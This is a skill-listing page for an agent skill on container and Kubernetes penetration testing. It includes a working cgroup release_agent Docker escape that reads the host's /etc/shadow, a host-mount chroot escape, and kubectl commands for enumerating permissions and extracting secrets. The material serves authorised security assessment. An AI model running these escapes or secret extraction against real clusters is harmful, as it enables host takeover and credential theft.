# Container Security Testing

> Use when testing container and Kubernetes security.

- Skill: `loopyluci/container-security-testing` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/container-security-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/container-security-testing/raw
- Safety review: pending (external: skill-scanner PASS, skillspector WARNING)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/container-security-testing

---


# Container Security Testing

Testing container and Kubernetes security — from Docker breakout and image scanning through Kubernetes RBAC abuse, pod security, and cluster compromise.

## When to Use

- Assessing Docker/Kubernetes security posture
- Testing container isolation and breakout
- Enumerating Kubernetes RBAC permissions
- Exploiting misconfigured admission controllers
- Auditing container images for vulnerabilities

## Container Attack Techniques

```python
CONTAINER_ATTACKS = {
    'docker_escape': 'Mount host filesystem, abuse capabilities (SYS_ADMIN), cgroup escape',
    'k8s_rbac_abuse': 'Check permissions: list pods, exec into pods, create pods with hostNetwork',
    'k8s_secrets': 'Read secrets from mounted volumes, API server, or etcd',
    'kubelet_api': 'Kubelet API on port 10250 — unauthenticated pod exec (anonymous-auth enabled)',
    'dashboard_access': 'Kubernetes Dashboard misconfiguration — admin access without auth',
    'admission_bypass': 'Bypass PodSecurityPolicy, OPA Gatekeeper with elevated permissions',
}

# Docker escape via host mount
DOCKER_ESCAPE = """
# Run container with host filesystem mounted
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host

# Escape with SYS_ADMIN capability
capsh --print
mkdir /tmp/cgroup && mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/x
echo 1 > /tmp/cgroup/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgroup/x/release_agent
echo '#!/bin/sh' > /cmd; echo "cat /etc/shadow > $host_path/output" >> /cmd
sh -c "echo 0 > /tmp/cgroup/x/cgroup.procs"
sleep 1; cat /output
"""

# kubectl enumeration
KUBECTL_ENUM = [
    "kubectl auth can-i --list — check permissions",
    "kubectl get pods --all-namespaces — list all pods",
    "kubectl get secrets — extract secrets",
    "kubectl run test --image=busybox --rm -it --restart=Never -- sh — exec pod",
]
```

## Verification Checklist

- [ ] Container breakout tested (mount escape, capability abuse)
- [ ] Image vulnerability scan (Trivy, Grype)
- [ ] Kubernetes RBAC permissions enumerated
- [ ] Secrets accessible from pod/service account
- [ ] Kubelet API (port 10250) checked for anonymous access
- [ ] Network policies tested (can pods reach each other?)
- [ ] Admission controllers audited
- [ ] etcd access (if Kubernetes master accessible)
- [ ] Cloud provider metadata accessible from pod